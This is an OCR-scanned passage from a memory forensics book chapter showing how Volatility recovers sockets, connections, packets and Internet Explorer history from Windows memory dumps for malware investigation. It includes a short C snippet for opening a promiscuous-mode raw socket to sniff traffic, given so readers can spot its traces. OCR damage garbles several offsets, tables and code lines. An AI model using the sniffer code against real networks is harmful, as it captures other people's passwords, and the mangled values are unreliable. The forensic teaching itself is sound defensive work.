0x75d4acf4 0fb701 MOVZX EAX, WORD [ECX]
0x75d4acf7 6685c0 TEST AX, AX

[snip]

The pointer to the URL (0x75d82438) is being passed as the second parameter to the
function at 0x75d4ace9. Thus, you can disassemble that function to determine where and,
more importantly, how the URL is being used.

NOTE

Keep in mind that you may not always be looking for just strings. For example, rather
than leaving “badsite.com” (which resolves to IP 12.34.56.78) visible in the binary and
then performing a DNS lookup at run time, the attackers may hard-code an integer
into the program. The following code shows how to convert an IP address in dot-quad
string form into an integer in network-byte order.

$ python

>>> import socket

>>> import struct

>>> struct.unpack(">I", socket.inet aton("12.34.56.78")) [0]
203569230

In this case, you should actually be scanning memory for the four-byte value of
203569230.

Inactive Sockets and Connections

Instead of walking the linked-lists in virtual address space (as the sockets and connec-
tions commands do), the sockscan and connscan commands scan the physical space of
the memory dump searching for kernel pool allocations with the appropriate tag, size,
and type (paged versus nonpaged), as described in Chapter 5. Thus, by using connscan
and sockscan, you can potentially identify sockets and connections that were used in
the past—because you're also looking in freed and de-allocated memory blocks. Here’s
an example:

S python vol.py -f Win2K3SP0x64.vmem --profile=Win2003SP2x64 connscan
Volatility Foundation Volatility Framework 2.4
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Offset (P) Local Address Remote Address pid
0x0ea7a610 172.16.237.150:1419 74.125.229.187:80 2136
0x0eaa3c90 172.16.237.150:1393 216.115.98.241:80 2136
0x0eaad4480 172.16.237.150:1398 216.115.98.241:80 2136
0x0ead8560 172.16.237.150:1402 74.125.229.188:80 2136
0x0ee2d010 172.16.237.150:1403 74.125.229.188:80 2136
0x0eeel09%e0 172.16.237.150:1352 64.4.11.20:80 2136
0x0£f9£83c0 172.16.237.150:1425 98.139.240.23:80 2136
0x0£9fe010 172.16.237.150:1394 216.115.98.241:80 2136
0x0fb2e2f0 172.16.237.150:1408 72.246.25.25:80 2136
0x0fb2e630 172.16.237.150:1389 209.191.122.70:80 2136
0x0£fb72730 172.16.237.150:1424 98.139.240.23:80 2136
0x0fea3a80 172.16.237.150:1391 209.191.122.70:80 2136
0x0fee8080 172.16.237.150:1369 64.4.11.30:80 2136
0x0ff21bc0 172.16.237.150:1418 74.125.229.188:80 2136
0x1019ec90 172.16.237.150:1397 216.115.98.241:80 2136
0x179099e0 172.16.237.150:1115 66.150.117.33:80 2856
0x2cdblbf0 172.16.237.150:139 172.16.237.1:63369 4
0x339c2¢c00 172.16.237.150:1138 23.45.66.43:80 1332
0x39b10010 172.16.237.150:1148 12.206.53.84:443 0

The very last entry has an owning PID of zero, which is not a valid number for a pro-
cess identifier. This is not the work of a rootkit changing the PID to zero or anything like
that; it’s the scanner picking up a residual structure that’s been partially overwritten.
You can tell that at one point it contained valid information because the source IP, source
port, destination IP, and destination port all seem reasonable. It’s entirely possible to filter
out invalid PIDs, but that would defeat the purpose of the scanner—and you’d miss the
potentially critical clue that the local machine contacted an IP (12.206.53.84) on port 443.

NOTE

In some cases, more than one field in the output is invalid. For example, you may
have one or more connections with invalid PIDs and ports, but the IP address is sane.
In other cases, the IPs are mangled, but the ports and PIDs look fine. Once again, this
is the tradeoff of brute force scanning through free and de-allocated memory blocks
versus walking the active list of connections (in which case, all fields should be valid,
but you have no chance of detecting past activity).

One way to reduce some of the noise associated with invalid fields is to pull the
machine’s list of IP addresses from the registry or collect it during live response by
running the ipconfig command. Then tune your output to show only connections
whose local or remote addresses are within the list of IPs.



Hidden Connections

Networking

You have a variety of ways to hide listening ports and active connections on a live sys-

tem. Table 11-1 summarizes a few possibilities and discusses how you can detect them

in memory dumps using Volatility.

Table 11-1: Detecting Network Rootkits in Memory

Rootkit Technique

Hook user mode APIs used by programs such as
netstat.exeand TCPView. exe.

Examples include DeviceIoControl,
ZwDeviceIoControlFile, GetTcpTable,
and GetExtendedTcpTable. The AFX rootkit
works in this manner.

Install a kernel driver that hooks the IRP_MJ
DEVICE_CONTROL function of \Device\Tcp
(owned by tcpip. sys) and filter attempts to

gather information using the IOCTL_TCP_QUERY_

INFORMATION_EX code.Jamie Butler wrote a
proof-of-concept rootkit (TCPIRPHook) that uses this
method.

Create an NDIS driver, which operates at a much
lower level than Winsock2, thus bypassing the cre-
ation of common artifacts such as the socket and
connection objects.

Memory Detection

Use the apihooks plugin for Volatility to detect
the hooks. Or you can also just use the sockets or
connections (XP/2003) or netscan (Vistaand
later) commands because they do not rely on the live
system’s APIs.

Use the driverirp plugin for Volatility (see
Chapter 13) or the sockets or connections
(XP/2003) or net scan (Vista and later) commands.

Focus on finding the loaded driver by scanning for
driver objects or hidden kernel threads. Alternately,
you can carve IP packets or Ethernet frames from the
memory dump.

IP Packets and Ethernet Frames

The previous section discussed the possibility of malware authors writing their own NDIS
drivers, thus bypassing the Winsock2 APIs and their associated artifacts. However, even
in this case, they must construct IP packets and Ethernet frames in RAM before sending
them on the wire. Both types of data must conform to a standard that involves using a
well-known structured header and various predictable constant values (e.g., IP version,
IP header length). Thus, it’s relatively straightforward to scan through memory and find
the headers, which are often immediately followed by payloads.

The earliest implementation was a plugin named 1linpktscan (Linux packet scanner)
written for the DFRWS 2008 Forensic Challenge (see http://sandbox.dfrws.org/2008/
Cohen Collet Walters/Digital Forensics Research Workshop 2. pdf). This plugin
searched for IP packets with a valid checksum, resulting in the authors’ ability to attribute
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certain packets back to the target system—specifically, those carrying fragments of an
exfiltrated zip and FTP file transfers.

More recently, Jamaal Speights wrote a plugin named ethscan (http://jamaaldev
.blogspot.com/2013/O7/ethscan—volatility—memory—forensics.html)thatﬁIuisElhernet
frames and consequently the encapsulated IP packets and payloads. Here’s an example of
running the plugin with the -c option to save the data to out . pcap, which you can then
analyze with an external tool such as Wireshark or Tcpdump.

$ python vol.py ethscan -f be2.vmem --profile=WinXPSP3x86

-C out.pcap

[snip]
Ethernet: Src: (00:50:56:f1:2d:82)

Dst: (00:0c:29:a4:81:79)
Type: IPv4 (0x0800)
IPv4: Src: 131.107.115.254:47873

Dst: 172.16.176.143:3332
Protocol: TCP (6)
Packet Size: (54) Bytes
0x00000000 00 Oc 29 a4 81 79 00 50 56 f1 2d 82 08 00 45 00 ..)..y.PV.-...E.
0x00000010 00 28 29 85 00 00 80 06 bd 41 83 6b 73 fe ac 10 ) e A.ks...
0x00000020 bO 8f 01 bb 04 0d 79 7e 45 77 d8 8d 3f 5e 50 10 ...... y~Ew..?AP.
0x00000030 fa f0 84 30 00 00 ...0..
[snip]

The following output shows a recovered IPv6 DNS request from a Linux system.
Because DNS (and any traffic, for that matter) is a relatively fast operation, youre unlikely
to capture memory while the UDP socket is active. Even if you did, the output of the
sockets command wouldn’t show you which hostname was being resolved. Thus, ethscan
is an extremely valuable resource. The plugin recovered the desired hostname: itxxxn.org.

Ethernet: Src: (::8605:80da:86dd:6000:0:24:1140)

Dst: (60:9707:69ea::8605:80da:86dd:6000)
Type: IPv6 (0x86DD)
IPv4: Src: 3ffe:507::1:200:86ff:fe05:80da:2396

Dst: 3ffe:501:4819::42:53
Protocol: UDP (17)
Packet Size: (89) Bytes
0x00000000 00 60 97 07 69 ea 00 00 86 05 80 da 86 dd 60 00 i, S
0x00000010 00 00 00 24 11 40 3f fe 05 07 00 00 00 01 02 00 LLuS.@?. L.
0x00000020 86 ff fe 05 80 da 3f fe 05 01 48 19 00 00 00 00  ...... ?...HoL L
0x00000030 00 00 00 00 00 09 5c 00 35 00 24 f0 09 00 06 01  ...... \.5.5.....
0x00000040 00 00 01 00 OO OO OO0 00 00 06 69 74 XX XX XX 6€ ... 1tXXXn

0x00000050 03 6f 72 67 00 00 f£f 00 01 .org.....
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NOTE

In addition to Volatility’s ethscan, many other tools can retrieve network data from
arbitrary binary files such as RAM dumps. Here are a few:

Bulk Extractor by Simson Garfinkel: https://github.com/simsong/bulk_
extractor

The Network Appliance Forensic Toolkit (NAFT) by Didier Stevens: http://
blog.didierstevens.com/2012/03/12/naft-release/

CapLoader by Netresec: http://www.netresec.com/?page=CapLoader

DKOM Attacks

Direct Kernel Object Manipulation (DKOM) attacks are not as much a threat against socket
and connection objects as they are for processes. In other words, you probably won't see
malware trying to unlink or overwrite an _aApprEss_oBJECT to hide a listening socket or
a _tcpT_oBJECT to hide an active connection. During our testing, which we presented in
Recipe 18-3 of Malware Analyst’s Cookbook, we found that you must not overwrite these
objects, or else a process’ capability to communicate over the network will fail.

It is, however, possible to perform DKOM on nonessential data such as the pool tags
(that exist outside of the target structure) to hide from sockscan and connscan.

Raw Sockets and Sniffers

If a process is running with administrator privileges, it can enable raw sockets (see http://
msdn.microsoft.com/en-us/library/ms740548%28VS.85%29. aspx) from user mode by using
the Winsock2 APIL. Raw sockets enable programs to access the underlying transport layer
data (such as IP or TCP headers), which can allow the system to forge or spoof packets.
Additionally, malware can use raw sockets in promiscuous mode to capture passwords
transmitted by the infected machine or other hosts on the same subnet.

NOTE

Two factors mitigate the risk presented by raw sockets. First, starting with Windows XP
Service Pack 2, Windows prevents processes from sending TCP data over raw sockets
and does not allow UDP datagrams to be sent using an invalid source address. Second,
it’s difficult (or impossible) to capture packets on switched networks or encrypted
wireless connections.
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Creating Raw Sockets

You can create a promiscuous mode socket with Winsock2 using the following steps:

Create a raw socket by specifying the sock_raw and 1pproTO_1P flags to socket:

SOCKET s = socket (AF_INET, SOCK RAW, IPPROTO IP);

Set the port to 0 when initializing the sockaddr_in structure that you pass to bind.
In this case, port 0 just means a port is not necessary.

struct sockaddr in sa;
struct hostent *host = gethostbyname (the hostname) ;

memset (&sa, 0, sizeof(sa));

memcpy (&sa.sin_addr.s_addr,
host->h addr list[in],
sizeof (sa.sin_addr.s_addr));

sa.sin family = AF_INET;
sa.sin port = 0;

bind (s, (struct sockaddr *)&sa, sizeof(sa));

Use the wsaIoctl or ioctlsocket functions with the s1o_rcvarL flag to enable
promiscuous mode (i.e., “sniffing mode”) for the NIC associated with the socket:

int buf;

WSAIoctl(s, SIO RCVALL, &buf, sizeof (buf),
0, 0, &in, 0, 0);

Detecting Raw Sockets

On a live Windows machine, you can use a tool called promiscdetect (see http://
ntsecurity.nu/toolbox/promiscdetect/) to detect the presence of a network card in pro-
miscuous mode. To detect them in a memory dump, you can use the Volatility sockets or
handles commands. You don’t even need a special plugin! The artifacts left in memory by
executing the previous three steps we described will stand out like a sore thumb. See if
you can spot the process with the raw socket in this memory dump of a system infected
with Gozi (also known as Ordergun and UrSniff).

S python vol.py sockets -f ursniff.vmem --profile=WinXPSP3x86
Volatility Foundation Volatility Framework 2.4
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PID Port Proto Protocol Address Create Time

1052 123 17 UDP 172.16.99.130 2009-11-18 01:23:24
716 500 17 UDP 0.0.0.0 2009-11-18 01:23:20
1824 0 0 HOPOPT 172.16.99.130 2010-01-07 20:29:10

S python vol.py files -p 1824 -f ursniff.vmem --profile=WinXPSP3x86
Volatility Foundation Volatility Framework 2.4

Offset (V) Pid Handle Access Type Details

0x818£9f90 1824 0xa0 0x1f0l1ff File \Device\Afd\Endpoint
0x814d4b70 1824 0xa8 0x1f01ff File \Device\RawIp\0
0x8145bf90 1824 0xdo 0x1f01ff File \Device\Afd\Endpoint
0x8155cf90 1824 0xd4 0x1f01ff File \Device\Tcp

[...]

That was easy! In summary, processes that open raw sockets, with or without pro-
miscuous mode, will have a socket bound to port 0 of protocol 0 and an open handle to
\Device\RawIp\O.

Next Generation TCP/IP Stack

Starting with Vista and Windows Server 2008, Microsoft introduced the Next Generation
'TCTVII’Stack(see http://technet.microsoft.com/en—us/network/bb545475.aspx).HS
main goal was to enhance performance for both IPv4 and IPv6. In doing so, practically
the entire tcpip. sys kernel module was rewritten; and as a result of such drastic changes,
the way we recover network-related artifacts from memory needed to adapt.

Data Structures

The _addrobjTable and _TcBTable variables that used to point to the start of the active
sockets and connections structures, respectively, were both removed. Additionally, Micro-
soft redesigned and renamed the socket and connection structures and switched the kernel
pool tags for the allocations that store them. The following output shows the network
structures that Volatility defines for 64-bit Windows 7 systems:

>>> dt ("_TCP_ENDPOINT")
' _TCP_ENDPOINT'

0x0 : CreateTime ['WinTimeStamp', {'is utc': True, 'value': 0}]
0x18 : InetAF ['pointer', ['_INETAF']]

0x20 : AddrInfo ['pointer', ['_ADDRINFO']]

0x68 : State ['Enumeration', {'target': 'long', 'choices':

{O: 'CLOSED', 1: 'LISTENING', 2: 'SYN SENT', 3: 'SYN RCVD',



328 Partll: Windows Memory Forensics

4: 'ESTABLISHED', 5:
7: 'CLOSE_WAIT', 8:
12: 'TIME_WAIT', 13:

'FIN _WAIT1', 6:
'CLOSING', 9:
'DELETE_TCB'}}]

'FIN_WAIT2',
'LAST ACK',

0x6c : LocalPort ['unsigned be short']

0x6e : RemotePort ['unsigned be short']

0x238 : Owner ['pointer', ['_EPROCESS']]

>>> dt (" _UDP_ENDPOINT")

' _UDP_ENDPOINT'

0x20 InetAF ['pointer', [' INETAF']]

0x28 : Owner ['pointer', [' EPROCESS']]

0x58 : CreateTime ['WinTimeStamp', {'is utc': True}]
0x60 : LocalAddr ['pointer', ['_LOCAL_ADDRESS']]
0x80 Port ['unsigned be short']

>>> dt("_TCP_LISTENER")
' _TCP_LISTENER'

0x20 : CreateTime ['WinTimeStamp', {'is utc': True}l
0x28 : Owner ['pointer', ['_EPROCESS']]

0x58 : LocalAddr ['pointer', [' LOCAL ADDRESS']]
0x60 InetAF ['pointer', ['_INETAF']]

0x6a Port ['unsigned be short']

For the most part, the member descriptions match the ones described for the earlier
Windows XP and 2003 structures.

Working Backward from netstat.exe

Regardless of which changes are made from one version of Windows to another, one thing
you can take for granted is that netstat.exe will always work on a live machine. Thus,
determining where netstat.exe gets its information is a good start to finding network-
related artifacts in memory. This is the approach we took when developing Volatility’s
capability to find sockets and connection structures in memory dumps from Vista and
later operating systems.

In particular, we reverse engineered the APIs and modules (from both user mode and
kernel mode) that are involved in producing network activity on a running system. It all
begins when netstat .exe calls InternetGetTcpTable2 from iphlpapi.dll. The execution
flow leads all the way back to tcpip. sys in a function named TcpEnumerateallConnections.
For more information on how we tracked these relationships, see http: //mnin.blogspot

.com/2011/03/volatilitys-new-netscan-module.html.

Volatility’s Netscan Plugin

After identifying the authoritative source of information printed by netstat.exe on a
live machine, it was possible to build a Volatility plugin that directly accesses the data in



Networking 329

RAM. This capability is implemented by the netscan plugin. It uses the pool-scanning

approach (see Chapter 5) to locate the _TcP_ENDPOINT, TCP_LISTENER, and UDP_ENDPOINT

structures in memory. Here’s an example of its output on a 64-bit Windows 7 machine:

$ python vol.py -f win764bit.raw --profile=Win7SP0x64 netscan
Volatility Foundation Volatility Framework 2.4
Local Address

Proto

[snip]

TCPv6
TCPv4
TCPv6
TCPv4
TCPv4
TCPv4
TCPv4
TCPv4
TCPv4
TCPv4
TCPv4

[snip]

TCPv4
TCPv4
TCPv4
TCPv4
TCPv4
TCPv4
TCPv4
UDPv4
UDPv4
UDPv6
UDPv4
UDPv6

0

0

.0.0.0:135
::135
.0.0.0:49152

:::49152

:::49153

.0.0.0:49155

:::49155

10.0.2.15:

10.0.2.15:
10.0.2.15:
10.0.2.15:

10.0.2.15:

10.0.2.15:
10.0.2.15:
10.0.2.15:

:0
:49227
:49359

:49341

149168
:0

149262

10.0.2.15:1900

0
0

.0.0.0:59362
::59362
.0.0.0:3702
::3702

49363

49254
49171
49347

49362

49221
49241
49319

Foreign Address

:::0

0.0.0.0:0

:::0
232.9.125.0:0
184.26.31.55:80
93.184.220.20:80
173.194.35.38:80
82.165.218.111:80
74.125.31.157:80
204.245.34.130:80
173.194.35.36:80

157.55.15.32:80
88.183.123.0:0
173.194.35.38:80
184.26.31.55:80
204.245.34.130:80
74.125.31.157:80
74.125.127.148:80
* .k

* .k

* ok

* ok

* .k

LISTENING
LISTENING
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
CLOSED
CLOSED
CLOSED
ESTABLISHED
CLOSED
CLOSE_WAIT
ESTABLISHED
CLOSE_WAIT

CLOSED
CLOSED
CLOSE_WAIT
CLOSED
ESTABLISHED
CLOSE_WAIT
CLOSE_WAIT

Pid
628
628
332
332

444
880
880

2820
2820
2820
2820
2820
2820
2820

2820
504

2820
2820
2820
2820
2820
1736
1736
1736
1736
1736

svchost.exe
svchost .exe
wininit.exe
wininit.exe

lsass.exe
svchost.exe
svchost.exe
?C?
iexplore.exe
iexplore.exe
iexplore.exe
iexplore.exe
iexplore.exe
iexplore.exe
iexplore.exe

iexplore.exe
svchost .exe
iexplore.exe
iexplore.exe
iexplore.exe
iexplore.exe
iexplore.exe
svchost .exe
svchost.exe
svchost .exe
svchost .exe
svchost .exe

In the output, a few rows display a dash (-) in place of the local or remote IP address. The

dash indicates that the information could not be accessed in the memory dump. Unlike

the XP and 2003 structures that store the IP address information in the actual structure,

the Vista and later structures store pointers to pointers. Thus, to access the data, Volatility

must dereference several pointers in virtual memory—a path that can often break if one

or more pages along the way are swapped to disk.
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NOTE

The netscan plugin uses the same pool-tag scanning methodology as sockscan and
connscan. As previously discussed in the chapter, this can yield false positives and
invalid data because you're scanning free and de-allocated memory blocks in physical
space. See the earlier notes on how to reduce false positives (i.e., filter by IP address)
and triage connections back to code for verification.

NOTE

The next generation TCP/IP stack supports dual-stack sockets. In other words, when
you create a socket on a Vista and later system, it applies to both IPv4 and IPv6 unless
you explicitly request IPv4 only at creation time. Thus, net scan can report connections
for both protocols.

Partition Tables

One of the ways Microsoft enhanced performance in the newly redesigned TCP/IP
stack is by splitting the work between multiple processing cores. A global variable in the
tepip.sys module named partitionTable stores a pointer to a _PARTITION_TABLE struc-
ture, which contains an array of _parTIiTIONS. The exact number of partitions is a factor
of the maximum number of CPUs the system can support. During the startup procedure
for the tcpip.sys module, a function named TcpstartpartitionModule allocates memory
for the partition structures and initializes them. Presumably, each core is responsible for
processing connections in its partition; and when a process or driver requests connections,
they’re added to the partition with the lightest load.

Figure 11-4 shows how to parse connection information based on the data in partition
tables.

A PARTITION contains three RTL DYNAMIC HASH TABLE structures—one for connec-
tions in each of the following states: established, SYN sent (waiting for the remote end to
acknowledge), and time wait (about to become closed). The dynamic hash tables point to
doubly linked lists of connection structures, such as _tcp_enppoInT. Thus, it’s relatively
simple to start from a known variable (tcpip!PartitionTable) in the memory dump and
collect all the current connection information.
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NOTE

It may come as a surprise, but the number of partitions depends on the maximum
processor count, not the active processor count (for example, a system may sup-
port up to 16 CPUs, but have only one installed). We know this because the
tcpip!TepStartPartitionModule function works in the following way:

DWORD TcpStartPartitionModule ()

{
UCHAR MaxPartitionShift;
SynAttackLock = 0;
InterlockedExchange ( (LONG*) &SynAttackInProgress, 0);

MaxPartitionShift = TcpMaxPartitionShift();

PartitionCount = 1 << TcpPartitionShift();
PartitionMask = (1 << TcpPartitionShift()) - 1;

PartitionTable = ExAllocatePoolWithTag (

NonPagedPool,
sizeof (_PARTITION) * (1 << MaxPartitionShift),
'TcPt!

) g

Mcooo
}

The number of parTITION Structures allocated via the call to ExallocatePoolwWithTag
is based on MaxPartitionshift, which is a value returned by the function
TcpMaxPartitionshift. To compute the value, the following code is used:

UCHAR TcpMaxPartitionShift (void)

{

return TcpPartitionShiftForProcessorCount (
KeQueryMaximumProcessorCountEx (ALL PROCESSOR_GROUPS) ) ;

}

When keQueryMaximumProcessCountEx is passed the ALL_PROCESSOR_GROUPS as an argu-
ment, it just returns the global variable nt ! KeMaximumProcessors, which stores the maxi-
mum processors supported by the system. This is obviously different from calling
KeQueryActiveProcessorCountEX,VvhkﬂireturnSnt!KeNumberProcessors——ﬂlernnnber
of active processors.
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_TCP_ENDPOINT

Port
Array of doubly :-E- _LIST_ENTRY ListEntry
linked lists to TCP »! i_____________.& 7~
TR Owner

endpoint structs T

Hash tables: _RTL_DYNAMIC_HASH_TABLE
1) established } T

2) syn sent

3) time wait /

_TCB_HASH_TABLES
A

_PARTITION of the CPU count

{ Array size is a factor

_PARTITION_TABLE
A

tcpip!PartitionTable

Figure 11-4: Diagram showing how the TCP partitions and hash tables can lead to
connection structures

Port Pools and Bitmaps

Yet another undocumented approach to enumerating network activity in memory dumps
involves port pools and bitmaps. In the “Big Page Pool” section of Chapter 5, you learned
how to leverage the metadata that Windows stores regarding the locations of large kernel
pool allocations. This is one example of putting that knowledge to use. In particular, the
big page tracker tables will tell you the exact addresses of pools with the 1npp tag—and
those allocations store INET PORT POOL structures.

These port pools contain a 65535-bit bitmap (one bit represents each port on a system)
and an equal number of pointers to _PORT_ASSIGNMENT structures. An extremely fast way
to determine which ports are in use on a system is to simply scan the bitmap (0 = unused,
1 = used). If a bit is set, Windows uses the index of the bit to compute the address of the
corresponding _TCP_LISTENER, TCP_ENDPOINT, OF _UDP_ENDPOINT structure.
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NOTE

Microsoft’s implementation of bitmaps (_rTL_BITMAP) is well documented by OSR here:
https://www.osronline.com/article.cfm?article=523.

Also, to see the exact code involved in computing the addresses of the connection
structures, see the tcpip! InetBeginEnumeratePort function.

Figure 11-5 shows a diagram of the way these various structures relate to each other.
The lightning icon indicates that the _PORT AsSIGNMENT structures don't directly point to
the connection structures—the value is derived from a base address, plus the index of
bits in the bitmap.

{ Bits indicate which
_PORT_ASSIGNMENT
/ -RTL BITMAP structures are valid.
_TCP_LISTENER
_PORT_ASSIGNMENT _TCP_ENDPOINT
; T
_UDP_ENDPOINT

Big Page Pool

_INET_PORT_POOL

Va: Points to the _INET_PORT_POOL

ﬁ _POOL_TRACKER_BIG_PAGES ‘{ Key: InPP (Internet Port Pool)
T

I

. Points to an array of
nt!PoolBigPageTable { pool tracker tables

Figure 11-5: Diagram showing how port pools and bitmaps can be used to locate TCP and UDP
activity in memory

Internet History

All web browsers optionally save a user’s browsing history in a file on disk. Before the
browser process can access that information, it reads the file’s contents into RAM. Thus,
if a user visits a page by explicitly typing a URL or clicking a link from a search engine,
or even if malicious code uses the same network APIs as the browser, you have a good
chance of recovering that information from memory. In other words, Internet Explorer’s
history file (index.dat) is not only loaded by the browser but it’s also loaded by all
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processes, including Windows Explorer and malware samples that use the WinINet API
(InternetConnect, InternetReadFile, HttpSendRequest, etc.) to access HTTP, HTTPS, or
FTP sites.

To begin the discussion, you can identify a process in your memory dump that you
suspect is making web requests. In this case, we chose two IE processes:

$ python vol.py -f win7 x64.dmp --profile=Win7SP0x64 pslist | grep iexplore

Volatility Foundation Volatility Framework 2.4

0x0000fa800dd11190 iexplore.exe 2580 1248 18 532 1 0 2011-04-24 04:04:42
0x0000fa800d0e73f0 iexplore.exe 3004 2580 77 1605 1 0 2011-04-24 04:04:42

Now that you know the PIDs (2580 and 3004), you can use the yarascan plugin to get
an initial idea of where index.dat file mappings may exist in process memory. Because
the file’s signature includes "client Urlcache", that string will make a good starting
point. This command is shown in the code that follows.

NOTE

The structure of Internet Explorer’s history file format is documented in many places
(see http://www.forensicswiki.org/wiki/Internet Explorer History File Format).
The format, and consequently the iehistory plugin that we're about to describe, applies
only to Internet Explorer versions 4 through 9. Starting with IE 10, the format and storage
mechanism changed drastically (http://hh.diva-portal.org/smash/get/diva2:635743/
FULLTEXTO2 .pdf).

$ python vol.py -f win7 x64.dmp --profile=Win7SP0x64 yarascan

-Y "Client UrlCache" -p 2580,3004
Volatility Foundation Volatility Framework 2.4
Rule: rl
Owner: Process iexplore.exe Pid 2580
0x00270000 43 6C 69 65 6e 74 20 55 72 6c 43 61 63 68 65 20 Client.UrlCache
0x00270010 4d 4d 46 20 56 65 72 20 35 2e 32 00 00 80 00 00 .MMF.Ver.5.2....
0x00270020 00 40 00 00 80 00 00 00 20 00 00 00 00 00 00 OO L@
0x00270030 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
Rule: rl
Owner: Process iexplore.exe Pid 2580
0x00260000 43 6C 69 65 6e 74 20 55 72 6¢c 43 61 63 68 65 20 Client.UrlCache
0x00260010 4d 4d 46 20 56 65 72 20 35 2e 32 00 00 80 00 00 .MMF.Ver.5.2....

0x00260020 00 50 00 00 80 00 0O 00 54 00 00 00 0O 00 00 0O Pool. T.......
0x00260030 00 00 20 03 00 00 00 00 55 f£f 00 00 00 00 00 00  ........ U...oooe
[snip]

The signature is found at two different locations inside the memory of the first IE
process (PID 2580). However, to simply find history entries, you don’t need to parse the
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index.dat file header at all. For example, you can just scan for the individual history
records that start with urL, LE2K, or REDR (there’s also a HAsH tag, but it is not necessary for
our goals). You can combine the multiple strings into a regular expression so you need
to search only once, as shown in the following command:

$ python vol.py -f win7 x64.dmp --profile=Win7SP0x64 yarascan

-Y "/(URL |REDR|LEAK)/" -p 2580,3004
Volatility Foundation Volatility Framework 2.4

Rule: rl

Owner: Process iexplore.exe Pid 3004

0x026£1600 55 52 4c 20 03 00 00 00 00 99 35 2c 82 43 ca 01 URL....... 5,.C..
0x026£f1610 a0 ec 34 cb 34 02 cc 01 00 00 00 00 00 00 00 00 ALA Lo
0x026£f1620 76 01 00 00 00 00 00 00 00 00 00 0O 0O 00 00 00 2
0x026£1630 60 00 00 00 68 00 00 00 03 01 10 10 c4 00 00 00 PP s DA
0x026£1640 41 00 00 00 dc 00 00 00 7d 00 00 00 00 00 00 00 A....... } .......
0x026£1650 98 3e a3 20 01 00 00 00 00 00 00 00 98 3e a3 20 > e >. .
0x026£1660 00 00 00 00 ef be ad de 68 74 74 70 3a 2f 2f 6d ........ http://m

0x026£1670 73 6e 62 63 6d 65 64 69 61 2e 6d 73 6e 2e 63 6f snbcmedia.msn.co
[snip]
Rule: ril

Owner: Process iexplore.exe Pid 3004
0x026c0b00 4c 45 41 4b 06 00 00 00 00 a6 3b 01 cc 97 cb 01 LEAK...... R

0x026c0b10 cO 71 20 14 33 02 cc 01 98 3e 39 1f 00 00 00 00 .g..3....>9.....
0x026c0b20 £8 cf 00 00 00 00 00 00 00 00 00 00 80 2a 02 00  ............. .
0x026c0b30 60 00 00 00 68 00 00 00 03 00 10 10 40 02 00 00 S heooo, @...
0x026c0b40 41 00 00 00 60 02 00 00 Se 00 00 00 00 00 00 00 A oo,
0x026c0b50 98 3e 99 1le 01 00 00 00 00 00 00 00 98 3e 99 le > >, .
0x026c0b60 00 00 00 00 ef be ad de 68 74 74 70 3a 2f 2f£ 75 ........ http://

0x026c0b70 73 65 2e 74 79 70 65 6b 69 74 2e 63 6f 6d 2f 6b se.typekit.com/k
[snip]

Rule: rl

Owner: Process iexplore.exe Pid 3004

0x026e2680 52 45 44 52 02 00 00 00 78 1b 02 00 40 af d3 51 REDR....x...@..0Q
0x026e2690 68 74 74 70 3a 2f 2f 62 73 2e 73 65 72 76 69 6e http://bs.servin
0x026e26a0 67 2d 73 79 73 2e 63 6f 6d 2f 42 75 72 73 74 69 g-sys.com/Bursti
0x026e26b0 6e 67 50 69 70 65 2f 61 64 53 65 72 76 65 72 2e ngPipe/adServer.

At offset 0x34 from the start of a URL or LEAK string, you can find a four-byte number
(68 00 00 00, as shown in bold) that specifies the offset from the beginning of the string
to the visited location (i.e., a URL). For redirected URLs, the location can be found at offset
0x10 of the rREDR string. Given that information, you can already start finding URLs in
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memory that are related to the history (i.e., were indeed accessed), as opposed to those
just lingering in memory.

Carving IE History Records

Although you've seen an easy way of locating sites in the IE history, you might have a
need for different output formatting with better automation and results parsing. For
example, instead of a hex dump, you might want a comma-separated value (CSV) file of
visited URLs, timestamps, HTTP response data, and various other fields. To support these
extra features, we built a plugin named iehistory that defines two rendering options.
The default text mode displays blocks of data—one for each cache entry, as shown in the
following output:

$ python vol.py -f win7 x64.dmp --profile=Win7SP0x64 iehistory -p 2580,3004
Volatility Foundation Volatility Framework 2.4
kkhkkhkhkkkkkkhhhkkhkhhhhkhkhkhhdhhkhkhkhddhhkhkhkhdhhhkkhkhddhkhkkkxx
Process: 2580 iexplore.exe

Cache type "URL " at 0x275000

Record length: 0x100

Location: Cookie:adminego.com/

Last modified: 2011-04-24 03:53:15

Last accessed: 2011-04-24 03:53:15

File Offset: 0x100, Data Offset: 0x80, Data Length: 0x0
File: admine@go[1] .txt

[snip]

EEEE R RS EEEEEEEEEEREEEEEREEEEEEEREEEEEEEEEEEEEEEEEE]
Process: 2580 iexplore.exe

Cache type "URL " at 0x266500

Record length: 0x180

Location: https://ieonline.microsoft.com/ie/known_providers_download vl.xml
Last modified: 2011-03-15 18:30:43

Last accessed: 2011-04-24 03:48:02

File Offset: 0x180, Data Offset: Oxac, Data Length: 0xdO0
File: known providers download v1[1].xml

Data: HTTP/1.1 200 OK

Content-Length: 49751

Content-Type: text/xml

The history data can be quite interesting. However, it can also be verbose, so you might
want to try the CSV option and open it as a spreadsheet for sorting and filtering. This
can be done by appending the - -output=csv option to your command, as shown here:

$ python vol.py -f win7 x64.dmp --profile=Win7SP0x64 iehistory

-p 2580,3004 --output=csv

Volatility Foundation Volatility Framework 2.4
URL ,2011-04-24 03:53:15,2011-04-24 03:53:15,
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Cookie:adminego.com/

URL ,2010-03-25 09:42:43,2011-04-24 04:04:46,
http://www.google.com/favicon.ico

URL ,2010-08-10 00:03:00,2011-04-24 04:05:01,
http://col.stc.s-msn.com/br/gbl/lg/csl/favicon.ico

URL ,2006-12-13 01:02:33,2011-04-24 04:05:08,
http://www.adobe.com/favicon.ico

URL ,2011-03-15 18:30:43,2011-04-24 03:48:02,
https://ieonline.microsoft.com/ie/known providers download vl.xml

URL ,2010-08-30 15:37:13,2011-04-24 04:05:10,
http://www.cnn.com/favicon.ie9.ico

[snip]

To produce a file that actually opens in a spreadsheet, redirect your output using the
shell (i.e, vol.py [options] > output.csv) or use the built-in option to Volatility, such
as --output-file=output.csv. You can then order by most recently accessed, and so on.

NOTE

As noted in the 1ibmsiecf project’s documentation (see http://code.google.com/p/
libmsiecf/), the timestamps can be UTC or local time—depending on whether the
record is found in a global, weekly, or daily history file. The caveat to scanning for
individual record tags is there is no backward link with the containing history header,
so you can’t easily determine whether UTC or local time is correct.

IE History in Malware Investigations

The following example shows the iehistory plugin analyzing a system infected with
various malware samples. You can see the activity is actually spread across two processes:
